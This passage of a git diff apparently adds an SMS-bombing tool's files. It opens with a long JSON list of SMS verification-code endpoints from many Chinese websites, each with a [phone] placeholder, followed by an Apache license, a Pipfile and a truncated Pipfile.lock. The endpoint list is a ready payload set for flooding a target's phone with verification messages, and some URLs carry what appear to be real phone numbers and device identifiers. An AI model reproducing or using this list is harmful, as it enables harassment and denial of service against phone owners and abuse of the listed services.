"https://passport.iqiyi.com/apis/user/check_account.action?account=[phone]", + "https://passport.iqiyi.com/apis/user/check_account.action?account=[phone]&agenttype=20&app_version=10.7.5&area_code=86&device_id=5C351103-F887-4932-BC59-58C75875EFDE&device_name=liang%E7%9A%84%20iPhone&device_type=iPhone8,1&dfp=876bc199dfb98e452da6f0f683179849687da", + "https://passport.iqiyi.com/apis/user/check_account.action?account=[phone]&agenttype=20&app_version=10.7.5&area_code=86&device_id=5C351103-F887-4932-BC59-58C75875EFDE&device_name=liang的 iPhone&device_type=iPhone8,1&dfp=876bc199dfb98e452da6f0f683179849687da", + "https://passport.tianya.cn/ssl/sendSMSCode.do?countryCode=0086&mobile=[phone]&signature=ec57ab48b2c35a1f71e21989bccbcee9&uuid=385e205a-505b-49f1-a28d-abacf0c65012", + "https://passport.tianya.cn/ssl/sendSMSCode.do?countryCode=0086&mobile=[phone]", + "https://passport.xueweigui.com/mobile/sendCode?mobile=[phone]", + "https://passport.xueweigui.com/mobile/sendCode?mobile=[phone]&op=10&k=d12c14cc39c8a48be8c181e401e4b962", + "https://passport.ziroom.com/verify/code/v2?phone=[phone]", + "https://passport.ziroom.com/verify/code/v2?phone=[phone]&type=1", + "https://prod.huohuaschool.com/api-website/user/sms?phone=[phone]&type=6", + "https://ptlogin.4399.com/ptlogin/sendPhoneLoginCode.do?phone=[phone]", + "https://ptlogin.4399.com:443/ptlogin/sendPhoneLoginCode.do?phone=[phone]", + "https://put.zoosnet.net/lr/sendnote160711.aspx?tel=[phone]", + "https://put.zoosnet.net/lr/sendnote160711.aspx?tel=[phone]&ccode=&id=PUT60101350&sid=72a49eb9c9b94b2692a44daa50e2011c&cid=72a49eb9c9b94b2692a44daa50e2011c&lng=cn&p=http%3A//www.lxcpa.net/&e=&un=&ud=&on=&d=1589617104719", + "https://qxin.info/oldfile/zha.php?NUMBER=[phone]&c=1&ok=", + "https://register.7moor.com/Action?callback=jQuery17202579936653179218_1584495041683&action=register.rl7mWebSiteYZMWebCallTryMobileCode&data=%7B%22mobile%22%3A%22[phone]", + "https://register.7moor.com/Action?callback=jQuery17202579936653179218_1584495041683&action=register.rl7mWebSiteYZMWebCallTryMobileCode&data=%7B%22mobile%22%3A%22[phone]%22%7D&_=1584495050906", + "https://register.7moor.com/Action?callback=jQuery17202698357481160306_1589614815141&action=register.rl7mWebSiteYZMWebCallTryMobileCode&data=%7B%22mobile%22%3A%22[phone]", + "https://register.7moor.com/Action?callback=jQuery17202698357481160306_1589614815141&action=register.rl7mWebSiteYZMWebCallTryMobileCode&data=%7B%22mobile%22%3A%22[phone]%22%7D&_=1589614821972", + "https://register.7moor.com/Action?callback=jQuery17208585139394580638_1584431746146&action=register.rl7mWebSiteYZMWebCallTryMobileCode&data=%7B%22mobile%22%3A%22[phone]", + "https://register.7moor.com/Action?callback=jQuery17208585139394580638_1584431746146&action=register.rl7mWebSiteYZMWebCallTryMobileCode&data=%7B%22mobile%22%3A%22[phone]%22%7D&_=1584431770018", + "https://s-web.jtljia.com/mvc/message/vcode/user_welcome/[phone]", + "https://services.qiye.163.com/service/official/sendCode?jsonpcallback=jQuery190039810459070645865_1584688891341&mobile=[phone]&_=1584688891342", + "https://services.qiye.163.com/service/official/sendCode?jsonpcallback=jQuery190039810459070645865_1584688891341&mobile=[phone]", + "https://services.qiye.163.com/service/official/sendCode?jsonpcallback=jQuery190039810459070645865_1584688891341&mobile=[phone]&_=1584688891342", + "https://soufunapp.3g.fang.com/http/sfservice.jsp?messagename=appSendMobileCode&mobilephone=[phone]&operatetype=0&sendvoice=0&wirelesscode=2C56469F49A8526BC922ECFA14C22AC7", + "https://sso-c.souche.com/loginApi/getCaptchaUrlByPhone.json?app=tangeche&phone=[phone]", + "https://sso-c.souche.com/loginApi/getCaptchaUrlByPhone.json?app=tangeche&phone=[phone]", + "https://sso.360che.com/?c=code&_0.6284588856010609&tel=code=[phone]", + "https://sso.agora.io/api/verify/sms?phone=%2B86+131+5822+6398&lang=cn&country=CN&captcha=[phone]", + "https://sso.agora.io/api/verify/sms?phone=%2B86+131+5822+6398&lang=cn&country=CN&captcha=[phone]", + "https://sso.jrj.com.cn/sso/ajaxSendVoice?mobile=[phone]", + "https://sso.scrcu.com/ebuisso/SendSMSVerificationCode?userId=0000&authType=03&mobile=[phone]&_=1480945303044", + "https://u.house.ifeng.com/getVerifyCode?_=0.38838852170651417&_t=1565612980&verifyCode=[phone]", + "https://uac.10010.com/oauth2/OpSms?callback=jsonp1490030472329&req_time=1490030480322&user_id=[phone]", + "https://uac.10010.com/oauth2/OpSms?callback=jsonp1490030472329&req_time=1490030480322&user_id=[phone]", + "https://uac.10010.com/oauth2/OpSms?callback=jsonp1544753247279&req_time=1544753262715&user_id=[phone]&app_code=ECS-YH-WAP", + "https://uac.10010.com/portal/Service/SendMSG?callback=jQuery17205960549095114636_1596719990361&req_time=1596720031540&mobile=[phone]&unicom_number=0&_=1596720031543", + "https://uac.10010.com/portal/Service/SendMSG?callback=jQuery17205960549095114636_1596719990361&req_time=1596720031540&mobile=[phone]&unicom_number=0&_=1596720031543", + "https://uac.10010.com/portal/Service/SendMSG?callback=jQuery172076565523879526_1506486642542&req_time=1506486656403&mobile=[phone]", + "https://uac.10010.com/portal/Service/SendMSG?callback=jQuery172076565523879526_1506486642542&req_time=1506486656403&mobile=[phone]&_=1506486656411", + "https://uac.10010.com/portal/Service/SendMSG?callback=jQuery172076565523879526_1506486642542&req_time=1506486656403&mobile=[phone]", + "https://uas.xingshulin.com/passport/default/captcha/LOGIN/sms/[phone]?", + "https://uc.maodou.com/server/account/sendLoginCode?phone=[phone]", + "https://ucenter.1haitao.com/vc/mobile/SMSCode.htm?codeType=login&mobile=[phone]&sign=ea7f6860aa40d220409b892397890184", + "https://user.chinahr.com/cppt/open/msg/send/smsCode?mobile=[phone]&isVisitor=isVisitor", + "https://user.daojia.com/mobile/getcode?mobile=[phone]", + "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=103", + "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112", + "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=103", + "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112", + "https://user.hundun.cn/get_identify_code?clientType=pcweb&versionName=&imei=&net=&phone=[phone]&source=verify", + "https://user.hundun.cn/get_identify_code?clientType=pcweb&versionName=&imei=&net=&phone=[phone]", + "https://user.meilimei.com/taomi/user/sendSmsCaptcha?mobile=[phone]", + "https://user.qunar.com/webApi/logincode.jsp?mobile=[phone]&vcode=&origin=wechat$$&action=register&type=implicit", + "https://user.zhaobiao.cn/ssologin.do?method=sendLoginCodeAjax&mobile=[phone]&hasSend=0", + "https://user.zhaobiao.cn/ssologin.do?method=sendLoginCodeAjax&mobile=[phone]", + "https://user.zixia.com/class/CAP/codeshow.php?sid=2090&quhao=86appname=cellphonereg&action=sendcode&yzidcode=[phone]", + "https://v4.passport.sohu.com/i/smcode/mobile/sblmobile?mobile=[phone]&way=1&appid=116005&callback=passport403_cb1596534389025&_=1596534591810", + "https://v4.passport.sohu.com/i/smcode/mobile/sblmobile?mobile=[phone]&way=1&appid=116005&callback=passport403_cb1596534389025&_=1596534591810", + "https://wap.fruitday.com//v3/passport/send_vercode?mobile=[phone]", + "https://wapi.jfh6688.cn/sendRegisterCode?type=1&login=[phone]", + "https://wapi.jfh6688.cn/sendRegisterCode?type=1&login=[phone]", + "https://webapi.account.mihayo.com/Api/create_mobile_captcha&gameId=[phone]", + "https://webapi.account.mihoyo.com/Api/create_mobile_captcha?action_ticket=&action_type=regist&mobile=[phone]", + "https://webapi.account.mihoyo.com/Api/create_mobile_captcha?action_ticket=&action_type=regist&mobile=[phone]", + "https://www.114yygh.com/web/common/verify-code/get?_time=1592546859053&mobile=[phone]&smsKey=LOGIN", + "https://www.4008123123.com/phhs_ios/isNotExistUser.action?r=0.4572958659946349?phone=[phone]", + "https://www.4008123123.com/phhs_ios/isNotExistUser.action?r=0.9460999953115119?phone=[phone]", + "https://www.baixing.com/oz/verify/reg?mobile=[phone]&businessType=register_captcha_code", + "https://www.baixing.com/oz/verify/reg?mobile=[phone]&businessType=register_captcha_code", + "https://www.birdnet.cn/source/plugin/login_mobile/index.php?version=4&module=[phone]", + "https://www.d7w.net/index.php?g=Member&m=Api&a=getmobilecode_binding&j=json&mobile=[phone]", + "https://www.diantoushi.com/user/v2/captcha?mobile=[phone]", + "https://www.gac-toyota.com.cn/sublayouts/Member%20Center/VerifyCode.aspx?random=0.6042665278484218&ws_Method=getDynamicCodeTEL_NO=[phone]", + "https://www.guiji.ai/market/sms?mobile=[phone]", + "https://www.guiji.ai/site/sms?type=2&mobile=[phone]", + "https://www.guiji.ai/site/sms?type=2&mobile=[phone]", + "https://www.hneao.cn/gkcjzm/Sat/SendSmsCode?codetype=ZC&sjhm=17623183206&smscode=[phone]", + "https://www.jdpay.com/login/register/sendActiveCode.htm?tel=[phone]", + "https://www.midea.cn/next/user_assist/getverifycode?mobile=[phone]", + "https://www.moretickets.com/openapi/pub/photo_codes/v1/photo_code?bizCode=MTL&verifyCodeUseType=USER_LOGIN&cellphone=[phone]", + "https://www.qinglianyun.com/Home/User/sendCode?telephone=[phone]", + "https://www.shencut.com/api/v1.0/code?operate_type=register&mobile=[phone]", + "https://www.shencut.com/api/v1.0/code?operate_type=register&mobile=[phone]", + "https://www.sogou.com/websearch/phoneAddress.jsp?phoneNumber=[phone]", + "https://www.sww.com.cn/login/captcha?0.8916150596759647&sms_captcha=phone_num=[phone]", + "https://www.tongquwangluo.com/api/v2/register/sendCode?mobile=[phone]", + "https://www.tongquwangluo.com/api/v2/register/sendCode?mobile=[phone]&token=d19f72dbe0834107ae2007fc43d8ab79&secret=aKM2o9pwNeUkhmxx5z7RuQ%3D%3D", + "https://www.tongquwangluo.com/api/v2/register/sendCode?mobile=[phone]&token=d19f72dbe0834107ae2007fc43d8ab79&secret=aKM2o9pwNeUkhmxx5z7RuQ==", + "https://www.wanmeiip.com/source/class/captcha/captcha.php?0.41730894602711244validate=[phone]", + "https://www.xd.com/users/sendRegisterCode?callback=jQuery110201470901275837977_1591599902822&mobile=[phone]&area_code=86&_=1591599902823", + "https://www.xhsd.cn/front/CheckLogin.jsp?cmd=telcheckr&Mobile=[phone]", + "https://www.xiaoying.com/user/apiCheckRegister?callback=jQuery19105981196630189294_1488300711819&mobile=[phone]", + "https://www.xiaoying.com/user/apiCheckRegister?callback=jQuery19105981196630189294_1488300711819&mobile=[phone]", + "https://www.xintongdai.com/customer/login/register/acquirePhoneAgreeItem?phone=[phone]", + "https://www.xxwolo.com/ccsrv/apph5/sendShortMsg?phone=[phone]", + "https://www.zhufuc.com/admin/api/center/code/verifycode?ran=0.25068726233475025&type=5&verifycode=[phone]", + "https://www.znds.com/plugin.php?id=tshuz_smslogin:mobile&mod=send&phone=[phone]&type=1&hash=e5038cde", + "https://www.zx123.cn/member/register.php?action=getcode&ajax=1&mobile=[phone]", + "https://www.zx123.cn/member/register.php?action=getcode&ajax=1&mobile=[phone]" +] \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100755 index 0000000..b77f30d --- /dev/null +++ b/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 2022 WhaleFall + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/Pipfile b/Pipfile new file mode 100755 index 0000000..025c07a --- /dev/null +++ b/Pipfile @@ -0,0 +1,20 @@ +[[source]] +url = "https://pypi.doubanio.com/simple/" +verify_ssl = true +name = "pypi" + +[packages] +httpx = "*" +loguru = "*" +click = "*" +pydantic = "*" + +[dev-packages] +flask = "*" +flask-admin = "*" +flask-babelex = "*" +flask-sqlalchemy = "*" +celery = "*" + +[requires] +python_version = "3.9" diff --git a/Pipfile.lock b/Pipfile.lock new file mode 100644 index 0000000..0651cfa --- /dev/null +++ b/Pipfile.lock @@ -0,0 +1,501 @@ +{ + "_meta": { + "hash": { + "sha256": "fb2c1138ad23c9534b53f9d26631997f839a84c24b3d576192cdebd0a1edcd47" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.9" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.doubanio.com/simple/", + "verify_ssl": true + } + ] + }, + "default": { + "anyio": { + "hashes": [ + "sha256:413adf95f93886e442aea925f3ee43baa5a765a64a0f52c6081894f9992fdd0b", + "sha256:cb29b9c70620506a9a8f87a309591713446953302d7d995344d0d7c6c0c9a7be" + ], + "markers": "python_full_version >= '3.6.2'", + "version": "==3.6.1" + }, + "certifi": { + "hashes": [ + "sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872", + "sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569" + ], + "version": "==2021.10.8" + }, + "charset-normalizer": { + "hashes": [ + "sha256:2857e29ff0d34db842cd7ca3230549d1a697f96ee6d3fb071cfa6c7393832597", + "sha256:6881edbebdb17b39b4eaaa821b438bf6eddffb4468cf344f09f89def34a8b1df" + ], + "markers": "python_full_version >= '3.5.0'", + "version": "==2.0.12" + }, + "click": { + "hashes": [ + "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e", + "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48" + ], + "index": "pypi", + "version": "==8.1.3" + }, + "h11": { + "hashes": [ + "sha256:36a3cb8c0a032f56e2da7084577878a035d3b61d104230d4bd49c0c6b555a9c6", + "sha256:47222cb6067e4a307d535814917cd98fd0a57b6788ce715755fa2b6c28b56042" + ], + "markers": "python_version >= '3.6'", + "version": "==0.12.0" + }, + "httpcore": { + "hashes": [ + "sha256:47d772f754359e56dd9d892d9593b6f9870a37aeb8ba51e9a88b09b3d68cfade", + "sha256:7503ec1c0f559066e7e39bc4003fd2ce023d01cf51793e3c173b864eb456ead1" + ], + "markers": "python_version >= '3.6'", + "version": "==0.14.7" + }, + "httpx": { + "hashes": [ + "sha256:d8e778f76d9bbd46af49e7f062467e3157a5a3d2ae4876a4bbfd8a51ed9c9cb4", + "sha256:e35e83d1d2b9b2a609ef367cc4c1e66fd80b750348b20cc9e19d1952fc2ca3f6" + ], + "index": "pypi", + "version": "==0.22.0" + }, + "idna": { + "hashes": [ + "sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff", + "sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d" + ], + "markers": "python_full_version >= '3.5.0'", + "version": "==3.3" + }, + "loguru": { + "hashes": [ + "sha256:066bd06758d0a513e9836fd9c6b5a75bfb3fd36841f4b996bc60b547a309d41c", + "sha256:4e2414d534a2ab57573365b3e6d0234dfb1d84b68b7f3b948e6fb743860a77c3" + ], + "index": "pypi", + "version": "==0.6.0" + }, + "pydantic": { + "hashes": [ + "sha256:085ca1de245782e9b46cefcf99deecc67d418737a1fd3f6a4f511344b613a5b3", + "sha256:086254884d10d3ba16da0588604ffdc5aab3f7f09557b998373e885c690dd398", + "sha256:0b6037175234850ffd094ca77bf60fb54b08b5b22bc85865331dd3bda7a02fa1", + "sha256:0fe476769acaa7fcddd17cadd172b156b53546ec3614a4d880e5d29ea5fbce65", + "sha256:1d5278bd9f0eee04a44c712982343103bba63507480bfd2fc2790fa70cd64cf4", + "sha256:2cc6a4cb8a118ffec2ca5fcb47afbacb4f16d0ab8b7350ddea5e8ef7bcc53a16", + "sha256:2ee7e3209db1e468341ef41fe263eb655f67f5c5a76c924044314e139a1103a2", + "sha256:3011b975c973819883842c5ab925a4e4298dffccf7782c55ec3580ed17dc464c", + "sha256:3c3b035103bd4e2e4a28da9da7ef2fa47b00ee4a9cf4f1a735214c1bcd05e0f6", + "sha256:4c68c3bc88dbda2a6805e9a142ce84782d3930f8fdd9655430d8576315ad97ce", + "sha256:574936363cd4b9eed8acdd6b80d0143162f2eb654d96cb3a8ee91d3e64bf4cf9", + "sha256:5a79330f8571faf71bf93667d3ee054609816f10a259a109a0738dac983b23c3", + "sha256:5e48ef4a8b8c066c4a31409d91d7ca372a774d0212da2787c0d32f8045b1e034", + "sha256:6c5b77947b9e85a54848343928b597b4f74fc364b70926b3c4441ff52620640c", + "sha256:742645059757a56ecd886faf4ed2441b9c0cd406079c2b4bee51bcc3fbcd510a", + "sha256:7bdfdadb5994b44bd5579cfa7c9b0e1b0e540c952d56f627eb227851cda9db77", + "sha256:815ddebb2792efd4bba5488bc8fde09c29e8ca3227d27cf1c6990fc830fd292b", + "sha256:8b5ac0f1c83d31b324e57a273da59197c83d1bb18171e512908fe5dc7278a1d6", + "sha256:96f240bce182ca7fe045c76bcebfa0b0534a1bf402ed05914a6f1dadff91877f", + "sha256:a733965f1a2b4090a5238d40d983dcd78f3ecea221c7af1497b845a9709c1721", + "sha256:ab624700dc145aa809e6f3ec93fb8e7d0f99d9023b713f6a953637429b437d37", + "sha256:b2571db88c636d862b35090ccf92bf24004393f85c8870a37f42d9f23d13e032", + "sha256:bbbc94d0c94dd80b3340fc4f04fd4d701f4b038ebad72c39693c794fd3bc2d9d", + "sha256:c0727bda6e38144d464daec31dff936a82917f431d9c39c39c60a26567eae3ed", + "sha256:c556695b699f648c58373b542534308922c46a1cda06ea47bc9ca45ef5b39ae6", + "sha256:c86229333cabaaa8c51cf971496f10318c4734cf7b641f08af0a6fbf17ca3054", + "sha256:c8d7da6f1c1049eefb718d43d99ad73100c958a5367d30b9321b092771e96c25", + "sha256:c8e9dcf1ac499679aceedac7e7ca6d8641f0193c591a2d090282aaf8e9445a46", + "sha256:cb23bcc093697cdea2708baae4f9ba0e972960a835af22560f6ae4e7e47d33f5", + "sha256:d1e4c28f30e767fd07f2ddc6f74f41f034d1dd6bc526cd59e63a82fe8bb9ef4c", + "sha256:d9c9bdb3af48e242838f9f6e6127de9be7063aad17b32215ccc36a09c5cf1070", + "sha256:dee5ef83a76ac31ab0c78c10bd7d5437bfdb6358c95b91f1ba7ff7b76f9996a1", + "sha256:e0896200b6a40197405af18828da49f067c2fa1f821491bc8f5bde241ef3f7d7", + "sha256:f5a64b64ddf4c99fe201ac2724daada8595ada0d102ab96d019c1555c2d6441d", + "sha256:f947352c3434e8b937e3aa8f96f47bdfe6d92779e44bb3f41e4c213ba6a32145" + ], + "index": "pypi", + "version": "==1.9.0" + }, + "rfc3986": { + "extras": [ + "idna2008" + ], + "hashes": [ + "sha256:270aaf10d87d0d4e095063c65bf3ddbc6ee3d0b226328ce21e036f946e421835", + "sha256:a86d6e1f5b1dc238b218b012df0aa79409667bb209e58da56d0b94704e712a97" + ], + "version": "==1.5.0" + }, + "sniffio": { + "hashes": [ + "sha256:471b71698eac1c2112a40ce2752bb2f4a4814c22a54a3eed3676bc0f5ca9f663", + "sha256:c4666eecec1d3f50960c6bdf61ab7bc350648da6c126e3cf6898d8cd4ddcd3de" + ], + "markers": "python_full_version >= '3.5.0'", + "version": "==1.2.0" + }, + "typing-extensions": { + "hashes": [ + "sha256:6657594ee297170d19f67d55c05852a874e7eb634f4f753dbd667855e07c1708", + "sha256:f1c24655a0da0d1b67f07e17a5e6b2a105894e6824b92096378bb3668ef02376" + ], + "markers": "python_version >= '3.7'", + "version": "==4.2.0" + } + }, + "develop": { + "amqp": { + "hashes": [ + "sha256:2c1b13fecc0893e946c65cbd5f36427861cffa4ea2201d8f6fca22e2a373b5e2", + "sha256:6f0956d2c23d8fa6e7691934d8c3930eadb44972cbbd1a7ae3a520f735d43359" + ], + "markers": "python_version >= '3.6'", + "version": "==5.1.1" + }, + "babel": { + "hashes": [ + "sha256:3f349e85ad3154559ac4930c3918247d319f21910d5ce4b25d439ed8693b98d2", + "sha256:98aeaca086133efb3e1e2aad0396987490c8425929ddbcfe0550184fdc54cd13" + ], + "markers": "python_version >= '3.6'", + "version": "==2.10.1" + }, + "billiard": { + "hashes": [ + "sha256:299de5a8da28a783d51b197d496bef4f1595dd023a93a4f59dde1886ae905547", + "sha256:87103ea78fa6ab4d5c751c4909bcff74617d985de7fa8b672cf8618afd5a875b" + ], + "version": "==3.6.4.0" + }, + "celery": { + "hashes": [ + "sha256:d1398cadf30f576266b34370e28e880306ec55f7a4b6307549b0ae9c15663481", + "sha256:da31f8eae7607b1582e5ee2d3f2d6f58450585afd23379491e3d9229d08102d0" + ], + "index": "pypi", + "version": "==5.2.6" + }, + "click": { + "hashes": [ + "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e", + "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48" + ], + "index": "pypi", + "version": "==8.1.3" + }, + "click-didyoumean": { + "hashes": [ + "sha256:a0713dc7a1de3f06bc0df5a9567ad19ead2d3d5689b434768a6145bff77c0667", + "sha256:f184f0d851d96b6d29297354ed981b7dd71df7ff500d82fa6d11f0856bee8035" + ], + "markers": "python_full_version >= '3.6.2' and python_full_version < '4.0.0'", + "version": "==0.3.0" + }, + "click-plugins": { + "hashes": [ + "sha256:46ab999744a9d831159c3411bb0c79346d94a444df9a3a3742e9ed63645f264b", + "sha256:5d262006d3222f5057fd81e1623d4443e41dcda5dc815c06b442aa3c02889fc8" + ], + "version": "==1.1.1" + }, + "click-repl": { + "hashes": [ + "sha256:94b3fbbc9406a236f176e0506524b2937e4b23b6f4c0c0b2a0a83f8a64e9194b", + "sha256:cd12f68d745bf6151210790540b4cb064c7b13e571bc64b6957d98d120dacfd8" + ], + "version": "==0.2.0" + }, + "flask": { + "hashes": [ + "sha256:315ded2ddf8a6281567edb27393010fe3406188bafbfe65a3339d5787d89e477", + "sha256:fad5b446feb0d6db6aec0c3184d16a8c1f6c3e464b511649c8918a9be100b4fe" + ], + "index": "pypi", + "version": "==2.1.2" + }, + "flask-admin": { + "hashes": [ + "sha256:424ffc79b7b0dfff051555686ea12e86e48dffacac14beaa319fb4502ac40988" + ], + "index": "pypi", + "version": "==1.6.0" + }, + "flask-babelex": { + "hashes": [ + "sha256:39a59ccee9386a9d52d80b9101224402036aedc2c7873b11deef6e4e21cace27", + "sha256:f744d0557cb04cafed733cfa96e7373b46263d4cf79a2c5988c65085f360d873" + ], + "index": "pypi", + "version": "==0.9.4" + }, + "flask-sqlalchemy": { + "hashes": [ + "sha256:2bda44b43e7cacb15d4e05ff3cc1f8bc97936cc464623424102bfc2c35e95912", + "sha256:f12c3d4cc5cc7fdcc148b9527ea05671718c3ea45d50c7e732cceb33f574b390" + ], + "index": "pypi", + "version": "==2.5.1" + }, + "greenlet": { + "hashes": [ + "sha256:0051c6f1f27cb756ffc0ffbac7d2cd48cb0362ac1736871399a739b2885134d3", + "sha256:00e44c8afdbe5467e4f7b5851be223be68adb4272f44696ee71fe46b7036a711", + "sha256:013d61294b6cd8fe3242932c1c5e36e5d1db2c8afb58606c5a67efce62c1f5fd", + "sha256:049fe7579230e44daef03a259faa24511d10ebfa44f69411d99e6a184fe68073", + "sha256:14d4f3cd4e8b524ae9b8aa567858beed70c392fdec26dbdb0a8a418392e71708", + 